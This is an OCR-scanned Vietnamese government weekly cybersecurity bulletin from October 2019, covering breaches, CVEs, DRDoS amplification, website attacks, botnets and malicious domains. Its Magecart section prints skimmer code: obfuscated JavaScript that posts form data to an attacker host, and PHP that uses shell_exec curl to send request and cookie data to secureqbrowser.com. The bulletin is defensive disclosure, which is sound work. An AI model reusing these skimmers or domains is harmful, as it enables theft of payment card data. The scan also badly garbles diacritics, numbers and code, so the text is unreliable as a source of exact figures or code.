BO THONG TIN VA TRUYEN THONG
CUC AN TOAN THONG TIN
TRUNG TAM GIAM SAT AN TOAN KHONG GIAN MANG QUOC GIA

B4o cao tom tit

Tinh hinh an toan thong tin dang chi y tuan 40 (tir 30/09 - 06/10/2019)

IBC-CATTT

MOQT SO BAO CAO VE VI
PHAM DU LIEU

Theo bao cdo Hacked Off! report
ctia Bitdefender cong bd vao ngay
01/10, 57% doanh nghiép bi vi
pham dir li¢u trong 3 ndm qua va
24% da bi vi pham dir liéu trong
nura nam 2019.

CANH BAO TAN CONG TU
MAGECART - NHOM
HACKER CHUYEN TAN
CONG WEBSITE THUONG
MAI PIEN TU

Pau thang 10 Mallwarebylab da
cap nhat thong tin vé hoat dong
cuaa nhém Magecart - nhom toi
pham mang chuyén danh cép
théng tin thé tin dung trén céc
trang thuong mai dién tir & nhiéu
qudc gia trén thé gioi.

Ha Ngi, ngay 08 thang 10 nam 2019

THONG KE NGUON
TAN CONG DDOS

Biéu d0 thong ke thiét bj theo cong dich vl pho bién

PIEM YEU, LO HONG
AN TOAN THONG TIN

Trong tuan, cac to chuc quéc té da
cong bd va cap nhat it nhat 351 15
hong, trong d6 c6 53 15 hong mirc
cao, 294 15 hong muc trung binh,
52 15 hoéng muac thap va 181 15
hong chwa danh gia. Trong d6 c6
it nhat 62 16 hong cho phép chén
va thuc thi ma 1énh.

MANG XA HQI PANG ANH
HUONG PEN NHIEU QUOC
GIA TREN THE GIO]I

Tuén qua, mdt s6 bao cdo vé mang
xa hoi da cho thay dong thai ctia
cac qudc gia lién quan dén viéc sir
dung mang xa hoi nhu mot “cong
cu” dinh hudng thong tin tir tat ca
cac qudc gia 16n nho, phuong thir
hoat dong khéac nhau.
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1. Piém tin dang chi y

1.1. Theo béo cao Hacked Off! report ctia Bitdefender cong bd vao ngay 01/10,
57% doanh nghié¢p bi vi pham dit li¢u trong 3 nam qua va 24% da bi vi pham dir liéu
trong nira nam 2019. Cac cudc tan cong mang giy ra mdi de doa 16n nhat di véi cac
t6 chuc trong nim 2019 bao goém lira dao-phishing (36%), trojan (29%), ransomware
(28%), rai ro do tuan thi (28%), phan mém chua dugc va (24%), tin cong DDoS
(24%) va cac mdi de doa truyén thong xa hoi (22%).

of companies have experienced
a breach in either 2017, 2018, or 2019

of companies have already suffered
a data breach halfway through 2019

of companies who haven't suffered a cyber
attack, believe that it is likely that they are
currently facing one without knowing about it

Ciing lién quan t&i van dé vi pham dit liéu, mot bao cdo mai cua Kaspersky cho
biét chi phi trung binh ctia cac vi pham dir li¢éu doanh nghiép da tang 1én 1,41 tri¢u do
la trong nam 2018, nam 2017 1a 1,23 triéu d6 la. B4o cdo chi ra réng cac to chirc co
hd tro ctia Trung tAm giam sat, bao vé ndi bd (nhu SOC) co thé gdp phan giam mot
ntra thiét hai tai chinh cua cac vi pham dit liéu doanh nghiép tir 1,4 triéu do la xudng
chi con 675.000 d6 la. Theo Kaspersky, cac to chtrc doanh nghiép da dau tu nhiéu hon
vao an toan thong tin mang trong ndm 2019, v&i ngan sach bao mat CNTT trung binh
la 18,9 tri¢u do la so voi 8,9 tricu do la trong nam 2018.

1.2. Tuan qua, mot sd bao cdo vé mang xa hoi di cho thdy dong thai cua céac
quéc gia lién quan dén viée sir dung mang xa hoi nhu mot “coéng cu” dinh hudng thong
tin tir tt ca cac qubc gia 16n nho véi nhiéu phuong thirc hoat dong khac nhau. Theo
bao cdo truyén thong qua mang xa hoi nim 2019 cua Vién Internet thudc dai hoc
Oxford, nhiéu quoc gia di sir dung cac mang xa hoi dé dinh hudng céc thong tin trong
nude. Mot sd qubc gia con st dung cac cong cu ndy dé anh hudng ti truyén thong
ctia cac qudc gia khac.



Ciing lién quan t6i1 van dé mang xa hdi, cac nén tang mang xa hoi co tru so tai
Hoa Ky bao gdm Facebook va WhatsApp c6 thé s& bi budc phai chia sé tin nhan dugc
ma hoa cua nguoi dung véi canh sat Anh theo mot hi€p udc maéi gitra hai nudce. Tuy
nhién Facebook di bac bo viéc ndy va cho biét cic bao cdo vé viéc WhatsApp,
Messenger sé& chia sé tin nhin dugc ma héa cho canh sat Anh 1a khong chinh xac.

1.3. Pau thang 10 Mallwarebylab di cip nhat thong tin vé hoat dong ctia nhém
Magecart - nthém t6i pham mang chuyén danh cip thong tin thé tin dung trén cac trang
thuong mai dién tr & nhidu qudc gia trén thé gidi. Kich ban tn cong nhom nay thudong
st dung nhu sau:

- Xam nhép/tén cong cac trang web thuong mai dién tu;

- Chen cac doan ma Javascript trén cac trang web nay;

- Khi nguoi dung nhap thong tin trén nhitng trang nay thi doan ma da chén vao
trang web s& tu dong danh cip thong tin dé truyén vé may chu diéu khién.

Mangercart ciing dd duoc nhiéu cong ty bao mat 16n thuc hién theo ddi va phan
tich tir nam 2018. K& tir d6 d4 c6 nhiéu chién dich tin cong tuong tu dugc thuc hién.
Mot cudc tin cong tu dong, co thé khai thac va xam nhap hon 960 trang web.
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Magecart thuong nham muc tiéu vao cac nha cung cap bén thir 3 str dung nhiing
tén mién giéng v4i tén mién hop phap cta nha cung cap dich vy, phan tich dit liéu
3



(nhu facebook77-cdn[.Jcom, msdn-cdn[.]Jcom, google-services-s5[.Jcom) dé phuc vu
cho céc chién dich tan cong.

Nhiéu nhom Magecart dugc theo ddi van dang tip trung vao nén tang mua sim
Magento (1a muc tiéu chinh khi cac cudc tin cong nay bat dau nhan 1én). OpenCart
cling dugc nhitng ké tin cong dic biét quan tam.

Ngoai ra, Magacart con str dung nhiéu k¥ thuat tinh vi, 1am r6i ma gay khé khan
trong phat hién va phan tich.

Magecart tin cong cac may nguoi ding va may chii qua skimmer (13 mot loai
thiét bi siéu nho cho phép ddi twrong tin cong chup hinh va thu lai nhitng thao tac khi
nguoi dung thé thyc hién ma khong can phai hiéu biét qua nhiéu vé tha thuat cong
ngh¢ cao hay may tinh).

Client-side skimmer

Mot trong nhiing skimmers nhom ndy da st dung c6 lién két véi tén mién
jquery.mask.js. Ma doc nay dugc thém vao phan cudi cia scirpt, va sir dung ki thuét
1am r6i ma gay kho khin cho viéc phat hién.

El Progress Telerik Fiddler Session #183 - http://cdn.bootstraproxy.com/ chimpstatic.com/mcjs-connected - O et

1 Request ! Response E Properties

Headers TextView SyntaxView ImageView HexView WebView Auth Caching Cookies Raw  JS0N XML

1131 return function{a) { T
1132 window.MobileDetect = al)

1134 throw new Error ("unknown environment™)

1135 }())=-

11230

1137 [ wvar OxaaZb = ["\x62\x47\x3%\x6e', '\x64\x32\x46\xTO\xE2\x6T\x3d\x3d"', "‘\=x5a\=x4T\

= X564 XE69\x64 \x5T\x63\x3d"', "\ x5a\x58\x4a\xTo9\x62\x33\x49\x3d", "‘x5a‘\x58\x68\x6a\x5a\
=+ x58Wx42\x30\x61\x57T\x38\x75"', "\ xX64\x48\x4a\x6B\x59\x32\x55\x3d", "\xX61\xX57\x35\x6d\
= X62WxTT\x3d\x3d", "\x5a\x47T\xX6c\XTa\x63\x4T\x46\x30\X59\ X332\ R68\x46 \X64 \X6dA\X56\RT5\
E4\ 41\ w3d\n3d", "\xSa\H4TA\ I\ KIZ\NE4\ K4 T\ I KTE\REZ \ 48 \ w4\ wEa \ HE 1\ x4 T\ x4E\ HT5N
x5a%x32\x55%x3d", "\xX62\x33\x56\x30\x5a\ X558 \x4a\X58\X61\X5T\R52\x30\x61\x41\x3d\x3d"

logwarndebugerrorexceptiontraceinfodispatchEventdevtoolschangeouterWidthinner
WidthverticalFirebugchromeisinitializedopenorientationundefinedexportsdeviools

= navigatoruserAgentgetTimedetaillocationhttps: http://hitps: //secure.upgradenstore.com/tools. php

= DateTimeFormatresolvedOptions&&systemTime=toLocale StringappVersionscreenavailHeightinnerWidth=
E innerHeight=innerHeightavailWidth=availWidthjWwidth=widthjQueryheightreferer=referrerrequest=

g pathnamehost=hostparams=POSTContent-Typeapplication/x-www-form-

£ urlencodedsendapply{}.constructor("return this")( Jconsole

= HEE VKA W HI9WH 9", 'YX X500 \X4e \X6C \Ho3 \HoD \ H2b \KbE \Koa \Xo /N30 \X3U", "LKDa\K3Z\K5bY

B IO\ KSEN 4T\ REC \ X724\ x5a \ w51\ x3d \x3d", "\m5a\x47\xSE\RI0\ KO\ KSTAREC\ RT3, '"\x62\x47\

B X3\ REa\REINREE\RE2ARTONRE2\ 32\ x34\x3d", "\x61\x48\=x52\x30\x63\x48 \x4d\x36", '‘\=El\

£ XA\ RE2ARIOAREI \ AN 6N KTE \ X2 \ X T T x3d\x3d", '"\xEL\=x48\x52\x30\xe3\x48 \x4d\x36\=x4c\

& xTONX3IE\x3d', '\x63\x32\x56\x€a\xE64\x58 \x4a\x6c\x4c\xE6e\xSE\XTT \x5a\x33 \x4a\x68\x5a\

& X4TANREENXTEARE3\ 33\ X552\ X 76\ X63\REA \ X555\ XTE5 \x59\Xx32\x39\x74", "‘\x4c\x33\x52\x76\x62\

B x32WxT8\xTa\x4c\x6e\x42\x6f\x63 \ x41 \ x3d\x3d"', "\x52\x47\x46\x30\x5a\x56\x52\xT70\x62\

= x5TWx56\x4T\x62\x33\ x4a\x 74\ x59\x58\x51\x3d", "‘\x63\x6d\x56'\xTa"'x62\x32\xT8\x32x5a\ w
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Server-side skimmer

Khi kiém tra ha tﬁng cua Magecart, cac chuyén gia da phat hién mdt doan ma
PHP nhin giéng nhau mot doan Javascript néu khong phén tich ki. Poan ma nay thyc
hién tim kiém cac tir khoa c6 lién quan dén giao dich tai chinh, liy trom thong tin
Cookie va giri vé may chu diéu khién. Vi dy hinh duéi s& thuc hién danh cip thong
tin va gtri vé may chu securegqbrowser[.]Jcom

[E] Progress Telerik Fiddler Session #1448 - http://s3-us-west.com/chapmoto_autoload.js - O X
1 Request ! Response | |=| Properties
Headers TextView SyntaxView ImageView HexView WebView Auth  Caching Cookies Raw  JSON XML
26 =
= A
27| faw
28| * Classes source autologfirstname|cvcZ|cc_numberjusername|cc_|shipping|cvvjmonth|
25| =y dummy|securetrading|year|login|billing|expiry|payment|card_number
30
31| $cds = implode ("_", array("str", "rotl3")): $bb = $cds('onfré4 rapbgr'); $dd=$
=+ cds ('onfré4 _grpbgr'); $sz = Scds('frevonyvmr'); if (preg match("/".%dd("
=+ ZmlyCc3RuYWllfGNZ Yz 8Y ZNfbnVe Y mVy EHVZZXJuYW11fGNjX3xzaGlweGluZ 3xjdnZ 8bWo9ndGhEZH
=+ [VEbX18cZVidXJ1dHIhZGIuZ 3XSZWFYEGRVZZ 1ufGIpbGxphmd s ZXhwaXJSfHBheWl1bnREYZFyZFSu
=+ AW1iZXI=")."/i", $sz (% REQUEST))){
32 @shell exec("curl --data ‘\"version=l&encode=".%bb( $sz($_REQUEST) . "--"
£¢ | . $sz(5 COOKIE) )."ghost=".5 SERVER["HTTP HOST"]."\" ".trim($dd(’
= |aHRCIcDDVLSNlYS‘EyZKficm93c2‘.’yLmNVbSEOZKNCIU2‘Jydm‘JyLnEiDC:I-L=|' )y." > fdev/mull 2<&
¢ 1 &");
as| ) ] |http:Hsecureqbrowser.com.ftestServer.php|
34
35| class Varien Rutoload
36| {
37 const SCOPE FILE PREFIX = ' ';
38 static protected $_instance;
40 static protected $_scnpe = 'default':;
41 W
0:0 QuickFind... | | Find & Replace Readonly

Ca tén mién client-side va server-side skimmer dugc s dung trén
(bootstraproxy [.] Com va s3-us-west [.] Com) dugc dang ki vao
robertbalbarran@protonmail.com, dé két ndi gitta ngudi dang ki email va cong
exfiltration, bang cach ddy t6i pham mang c6 thé thu thap cac tén mién khac cia nguoi
dung.

Théng tin chi tiét c6 thé tham khao tai:

https://ti.khonggianmang.vn/dashboard/news/p/canh-bao-tan-cong-tu-
magecart/



https://ti.khonggianmang.vn/dashboard/news/p/canh-bao-tan-cong-tu-magecart/
https://ti.khonggianmang.vn/dashboard/news/p/canh-bao-tan-cong-tu-magecart/
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2. Nguy co tin cong mang tir diém yéu 16 hdng

Trong tuan, c4c to chirc quéc té da cong bd va cap nhat it nhat 351 15 hong,
trong d6 ¢6 53 15 hdng muc cao, 294 16 hong mic trung binh, 52 15 hdng mirc thap va
181 15 hong chua danh gia. Trong d6 co it nhat 62 16 hong cho phép chén va thyc thi

ma Iénh.

Hé thdng ky thuat ciia Cuc ATTT chi dong ra quét trén khong gian mang Viét
Nam, danh gia, théng k& cho thay c6 06 15 hdng/nhém 15 hdng trén céc san pham,
dich vu CNTT pho bién, c6 thé gay anh huong 16n dén nguoi ding & Viét Nam, nhu:
Nhom 04 16 hong trén Adobe, nhém 09 15 hong trén hé diéu hanh Linux, nhom 01 15
hong trén thiét bi Dlink, Nhém 257 15 hong trén Android, Nhém 43 15 hong trong
Cisco, Nhém 01 16 hong trong hé théng Wordpress, Nhém 20 156 héng trén Firefox. ..
Théng tin chi tiét vé mot sb 16 hong trén cac san pham/dich vu phd bién tai Viét Nam

cu thé nhu sau:

T i n%?ch Ju | MBI qubcté M6 ti ngin Ghi chi
Nhom 04 16 hong tréen motso | P ¢o
san pham, thanh phan cua | thong tin

CVE-2019-8073 Adobe (Coldfus,ion,;. Flash XE\'iC wnhei,n
CVE-2019-8074 P,IayeAr...) cho phép do} tuong | va ban va
1 Adobe tan cong thu thap thong tin
CVE-2019-8072. | 4 hhép, thuc thi ma lenh tir
CVE-2019-8075 %a P '
02 15 hong co diém dac biét
nghiém trong la 10.0
Nhom 09 16 hong trén hé diéu | Chua ¢
CVE-2019-16994 | hanh Linux (linux_kernel) | théng tin
5 Linux CVE-2019-16995 | cho phép d6i tugng tan cong | xac nhan
CVE-2019-17054 | thuc thi m& Iénh tuy y, thu | va ban va
thap thong tin, tin cong tir
chdi dich vu.
Nhom 0116 hong tren motsd | P ¢o
san pham caa thiét bi DIink | théng tin
(DIR-655C, DIR-652, DIR- | xac nhan
886L...) cho phép d6i tuong | va ban va

3 Dlink CVE-2019-16920 | tan cong thuc thi ma lénh tur
xa, c6 dugC quyén truy cap
hé thong.

Lo hong co diém dic biét
nghiém trong la 10.0



https://nvd.nist.gov/nvd.cfm?cvename=CVE-2019-8073
https://nvd.nist.gov/nvd.cfm?cvename=CVE-2019-8073
https://nvd.nist.gov/nvd.cfm?cvename=CVE-2019-8074
https://nvd.nist.gov/nvd.cfm?cvename=CVE-2019-8072
https://nvd.nist.gov/nvd.cfm?cvename=CVE-2019-8075
https://nvd.nist.gov/nvd.cfm?cvename=CVE-2019-16994
https://nvd.nist.gov/nvd.cfm?cvename=CVE-2019-16995
https://nvd.nist.gov/nvd.cfm?cvename=CVE-2019-17054
https://nvd.nist.gov/nvd.cfm?cvename=CVE-2019-16920
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Android

CVE-2019-9259
CVE-2019-9266
CVE-2019-9301

Nhom 257 16 hong trén mot
s6 san pham cua Android (
Android -10Android ID:A-
112610994...) cho phép ddi
twgng tan cong thu thap
théng tin trai phép, thuc thi
ma Iénh tur xa, lam tran bo
dém, tan cong tir chdi dich vu

ba co
thdng tin
Xac nhan
va ban va

Cisco

CVE-2019-12713
CVE-2019-12678
CVE-2019-12698

Nhom c6 43 16 hong trén mot
s6 san pham cua Cisco
(Cisco Adaptive Security
Appliance Softwere,
Firepower Threat Defense
Software) cho phép dbi
tuogng thuc hién tan cong
XSS, tan cong tan cong tur
chdi dich vy, thuc thi ma 1énh
tur xa, thu thap thong tin trai
phép

Chua c¢o6
théng tin
Xxac nhan
va ban va

Wordpress

CVE-2019-16931

Nhom c6 01 16 hong trén mot
sb san pham, thanh phan cua
Wordpress cho phép dbi
tuong tan cong thuc thi ma
lénh thy v , tin cdng qua XSS

Chua co
thong tin
Xac nhan
va ban va

Firefox

CVE-2019-11736
CVE-2019-11737
CVE-2019-11741

Nhom ¢6 20 16 hong trén mot
s6 san pham, thanh phan cua
Firefox (Firefox<69, Firefox
ESR<68.1...) cho phép dbi
tugng tan cong thuc thi ma
lénh tiy ¥, danh cap mat khau
va x6a dir liéu da st dung cua
ngudi ding, tan cong UXSS.
Co mot sé 16 hong muac
nghiém trong cao (9.3 va 7.5)

ba co
thong tin
Xac nhan
va ban va
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3. Nguy co phat tan tan cong tir chdi dich vu

Tén cong tu chdi dich vu 1a hinh thirc tan cong di co tur 1au, va hién tai van
duoc ddi tuong tAn cong ua thich stir dung dé thuc hién cac v dd x4u. Tan cong tu chdi
dich vu vé co ban khong nguy hiém nhung lai giy anh huéng dén hoat dong cua hé
thong, gay thiét hai vé kinh té cho t6 chuc bi tan cong.

Tén cong tir chdi dich vu ¢ thé duge thyc hién véi nhiéu ki thuat khac nhau,
nhung trong nhitng ndm gan ddy phan 16n tin tic huy dong cac thiét bi dang md cong
dich vu sir dung giao thitc UDP dé thyc hién tan cong. Cac thiét bi ndy c6 thé bi huy
dong dé dang dé thuc hién tan cong DRDoS (tan cong tir chdi dich vu phan xa phan



https://nvd.nist.gov/nvd.cfm?cvename=CVE-2019-9259
https://nvd.nist.gov/nvd.cfm?cvename=CVE-2019-9266
https://nvd.nist.gov/nvd.cfm?cvename=CVE-2019-9301
https://nvd.nist.gov/nvd.cfm?cvename=CVE-2019-12713
https://nvd.nist.gov/nvd.cfm?cvename=CVE-2019-12678
https://nvd.nist.gov/nvd.cfm?cvename=CVE-2019-12698
https://nvd.nist.gov/nvd.cfm?cvename=CVE-2019-16931
https://nvd.nist.gov/nvd.cfm?cvename=CVE-2019-11736
https://nvd.nist.gov/nvd.cfm?cvename=CVE-2019-11737
https://nvd.nist.gov/nvd.cfm?cvename=CVE-2019-11741

tan/Distributed Reflective Denial-of-Service) ma hiéu qua tdn cong lai rat cao. Rat
nhiéu giao thuc tang ung dung déu c6 diém yéu/1d hong cho phép thuc hién tan cong
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nay.
Giao thurc S6 1an khuéch dai biing thong
DNS 28 lan 54
NTP 556.9
SNMPv2 6.3
NetBIOS 3.8
SSDP 30.8
CharGEN 358.8
QOTD 140.3
BitTorrent 3.8
Kad 16.3
Quake Network Protocol 63.9
Steam Protocol 5.5
Multicast DNS (mDNS) 2 dén 10
RIPv1 131.24
Portmap (RPCbind) 7 dén =28
LDAP 46 dén 55
CLDAP 56 dén 70
TFTP 60
Memcached 10,000 dén 51,000

Tai Viét Nam, c6 rat nhiéu may chi, thiét bi c6 thé tro thanh nguon phét tan tan
cong DRDOS. Trong tudn c6 48.596 (ting so v6i tuan trude 1a 44,638) thiét bi co
kha ning bi huy dong va tro thanh ngudn tan cong DRDoS. CAc thiét bi nay dang mo
str dung cac dich vu NTP (123), DNS (53), Chargen (19). Dudi day 13 biéu d6 thong
ké thiét bi theo cong dich vu phd bién trong tuan.

Biéu dd thong ké thiét bi theo cdng dich vu phd bién




4. T4n cong vao Cong TTPT/ing dung web ciia Viét Nam

Website/Cong thong tin dién tir 1a kénh cung cap théng tin hiéu qua tuy nhién
hau hét khong duoc quan tim dén viéc bao dam an toan cho website, rat nhiéu trang
tdn tai diém yéu, 16 hdng bao mat, d6i tuong tan cong cd thé khai thac dé thyc hién:
tan cong thay doi giao dién, tan cdng lira d¢ao thu thap thdng tin tai khoan, thong tin
ca nhan, tan cong cai cim va phat tan ma doc.

Trong tuan, c6 1332 trudng hop tan céng vao trang/cong thong tin dién tir cua
Viét Nam: 976 truong hop tin cong thay ddi giao dién, 107 trudng hop tan cong lira
dao (Phishing), 249 trudng hop tan cong cai cam ma doc.

Théng ké tin cong vao trang/cong thong tin dién tir
cua Viét Nam

Cai ma doc

Lura dao (Phishing)

Bonus: Trén thé gidi c6 nhiéu cac trang web gid mao cac té chirc, doanh
nghiép, nha cung cdp, dich vu I6n nhw: Cac mang xa héi, ngdn hang, thu dién tir
v.v... Viét Nam c6 nhiéu nguoi ding céc dich vy, #ng dung nwéc ngoai (ca mién phi
va co phi) nhuw cac mang Xa hoi, Paypment, Apple, Paypal ..v.v... vi vdy nguoi dung
can phdi hét sizc canh giac véi nhieng trang web gid mao dé dn trém tai khodn.

Yahoo! Inc

IRS

PayPal Inc.

ATB Financial

Desjardins
Bank of America
Microsoft OneDrive

Webmail Providers
Bet365

Facebook, Inc.
Yahoo!

Apple Office365

Apple Inc. Paypal

TOP té chizc by nhiéu trang web gid mao
9
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5. Hoat dong cia mang botnet, APT, ma doc tai Viét Nam
5.1. Ca4c mang botnet phé bién

Tai Viét Nam c6 nhiéu mang botnet 16n trén thé gii dang hoat dong, trong d6
noi bat 1a Avalanche, Conficker, Gamut, loThotnet/Mirai, PonyLoader, Sality,
Wanacry ... Cac mang nay duoc hinh thanh tir nhirng may tinh, dién thoai thdng minh,
thiét bi mang ... bj lay nhiém ma doc. Mdi mang botnet déu co dic diém, muc tiéu
khac nhau, tuy nhién déu c6 dic diém 1a khi da bi 1y nhiém ma doc va tham gia vao
cac mang botnet nay thi s& bi d6i twong tan cong kiém soét tir xa va loi dung dé: phat
tan thu rac/ma doc maéi, thu thap théng tin, dix liéu trén may tinh nguoi ding, tan cong
tir chdi dich vy ... va gop phan lam tang ti 1¢ 1ay nhiém ma doc ¢ Viét Nam. Duéi day
la biéu @6 hoat dong cuia mot sb mang mang botnet 16n trong tuan:

Trong tuan mang botnet Avalanche (chuyén danh cap thong tin ngudi ding)
hoat dong nhiéu nhat va tang so voi tuan trudce, co 4.657.372 luot dia chi IP két ndi
(tir 771.745 dia chi IP) v6i may chu diéu khién (Tuan 39 13 3.935.857).

5.2. Danh sach IP/tén mién dgc hai c6 nhiéu két néi tir Viét Nam

TT Tén mién/IP

disorderstatus.ru
differentia.ru
atomictrivia.ru
soplifan.ru
Id3t8xao8.ru
xjpakmdcfuge.com
10
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7 xdgzpbcgrvkj.ru

8 www.iugerfsodp9ifjaposdfjhgosurijfaewrwergwea.com
9 cp.x1yugjh9.ru

10 yrwyzgopwijug.info

11 www.cityofangelsmagazine.com

12 morphed.ru

13 kvamuvsju.ru

14 somicrososoft.ru

6. Khuyén nghi ddi véi cac co quan, don vi

Nham bao d¢am an toan thdng tin trong hé théng mang cua cac co quan, t6 chuc,
Cuc ATTT khuyén nghi:

- Theo d&i va cap nhat ban va cho cac 15 hong, dac biét 1a 16 hong néu tai muc
2 bao cao nay.

- Bdi véi nguy co bi loi dung dé thyc hién tan cong tir chéi dich vu néu tai muc
3: Kiém tra cac dich vu str dung giao thic UDP, han ché téi da viéc mé cac cong dich
vu str dung giao thitc UDP. Trong truong hop su dung phai thuong xuyén theo doi va
cap nhat ban va 15 héng bao mat cho dich vu, déng thoi cdu hinh cting hoéa dich v,
han ché toi da truy cap dén va di lién quan dén dia chi/dai dia chi ko can thiét.

- Nhiam tranh viéc bi cac d6i twong tan cong lgi dung cac trang web dé thuc
hién cac hanh vi gy mat an toan thong tin nhu di néu trong muc 4, Cac co quan to
chtrc can phai thuong xuyén kiém tra, ra soat may cha web dé kip thoi phat hién va
cap nhat.

- Kiém tra va xir ly cac thiét bi trong toan bo hé théng mang néu cé dau hiéu
két ndi dén céc tén mién doc hai Cuc ATTT da chia sé, dic biét 12 cac tén mién da
néu trong muc 5.2 bao cao nay.

- Chu dong kiém tra, ra soat, boc g& ma doc ra khoi hé thdng mang. Cuc ATTT
san sang phdi hop véi cac co quan t6 chuc tién hanh kiém tra va boc g& ma doc botnet
trén hé théng cua co quan don vi. Bé xac minh cac may tinh bi nhidm ma doc botnet,
Quy don vi c6 thé lién hé véi Cuc ATTT theo thong tin bén dudi dé phéi hop thuc
hién.

Thong tin lién hé Cuc An toan théng tin, tang 8, s6 115 Tran Duy Hung, quan
Cau Giay, TP. Ha Noi; s6 dién thoai: 024.3943.6684; thu dién tir ais@mic.gov.vn.

Trén trong./.
CUC AN TOAN THONG TIN
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HE THONG
CANH BAO DIEM YEU VA RA SOAT
LO HONG BAO MAT TU BONG

https://service.khonggianmang.vn/

+
A p A
r 2 r ~ 2 r 2 x
Hién nay, nguy co tan cong mang thdng qua diém yéu, 16 hong ddi vai to
chirc, doanh nghiép ngay cang gia tang manh.
% VA QN
~50 | Threat Intelligence Basic
aus chrgbs oo Modul canh béo, theo dGi va tra ciu
cac moi nguy hai, phat hién cac ket
noi déc hai va nguy co bj tan céng
mang.
Nam 2018
S6 lugng diém y&u cong bd 16.555
Nam 2019
56 lugng diém yéu céng b 11.357
Nam 2017
S& lugng diém y&u cong bé 14.714 VUInerablllty Alert
Modul theo ddi, tracking, canh bao sém
cac diém yéu an toan thdng tin v&i cac
phan mém va phién ban cé dinh dbi véi
. céc b churc.
“Hé thong Canh bao diém yéu va Ra soat 16 hong bao mat tw dong”
tw déng ra soét 16 hdng bao mat va canh bao diém yéu sém nhét, cap nhat nhat
cho tb chirc, doanh nghiép.
Aa
VENDOR PRODUCT VERSION
\/\’ -—
Aa

e
2071 4430 11378 e ey

Modul ty déng ra quét, danh gia cac
diém yéu an toan thong tin trén hé
thdng dé dinh ky, b4o cao hang tuan

e L cho quan tri hé thdng.
Kho div liéu cap nhat méi nhat


https://service.khonggianmang.vn/

CHUC NANG HE THONG DICH VU TRUC TUYEN

Vulnerability Alert

» Canh bao diém yéu bao mat dén tirng phién ban
g’? e san pham ma té chirc dang st dung.

» Cung cap théng tin giai phap, khuyén nghj véi tirng
16 héng, diém yéu.

Threat Intelligence Basic

» Giam séat cac két ndi doc hai, nguy co véi cac dia chi IP t6

@ } | 9! &0

chirc dang st dung.
Threat Intelligence Basic Vulnerability Alert Remote Vulnerability Scanning Rem Ote Vu I n erab | | |ty SC an n | n g
» Ty dong ra quét, danh gia cac diém yéu an toan thong tin.
G 2 2 » Thiét lap Product/IP can theo dbi, giam sét.

» Theo d6i thong tin canh bao va khac phuc 16 hdng ngay khi

nhan dwoc thdng tin canh bao

Dashboard hé théng

>> Hé thdng hién thi sb lwong san phdm, IP, goi dang ky va ngwdi dung.

Dashboard

L’
7 LA+
Q39 Q1 w14 w51

SG IP con lal S6 IP da ding S8 Product con lai Sé Product da dung
Théng ké diém yéu Tw ngay: 1 2019 Dén ngay:
Diem yeu mol Canh béo IP mai

Thai gian Mirc 46 M CVE Théng tin That gian Dja chi P Loal nguy co




CHU’C NANG HE THONG DICH VU TRUC TUYEN

Chi Tiét Canh Béao
» Hé thdng hién thi thong tin chi tiét canh bao IP, diém yéu. Danh sach s&n phdm va thdng ké diém yéu theo mrc do.
&

Microsoft-Windows Server-CVE2019-1122

Canh bao tirc thi theo tietng san pham
» Thiét lap tuy chinh cau hinh nhan canh béo 18 h6ng va IP theo murc d9, thdi gian va kénh nhan canh bao.

@ canh bao IP:

& Théng béo chung ctia NCSC:

Tin tdre va bao cao dinh ky
» Cap nhat nhirng tin tirc m&i nhét vé 16 hdng bao mat, phan tich kj thuat chuyén sau va bao cao dinh ky.

Dat lich ra soat va danh gia

»> Pat lich dinh ky dé ra soat va danh gia IP cua tb chirc.

DIEM PAC BIET

@ DE& dang trién khai va st dung @ Thong tin ky thuat néng cap nhat
@ Tiét kiem chi phi cia Doanh nghiép @ Ngubn di¥ lieu phong phu
@ Canh bao s&m rdi, nguy co @ Hb tro 24/7/365
@ Tw dong ra quét, danh gia cac diém yéu @ Cung cép nhiéu loai bao céo
CURITY CEpy,,
& Ay

g Trung tér‘n GiéAm sat an toan khong gian mang Qudc gia (NCSC)

z . Cuc An toan théng tin

£ Dién thoai: 024 32091616

& Email: ncsc@ais.gov.vn
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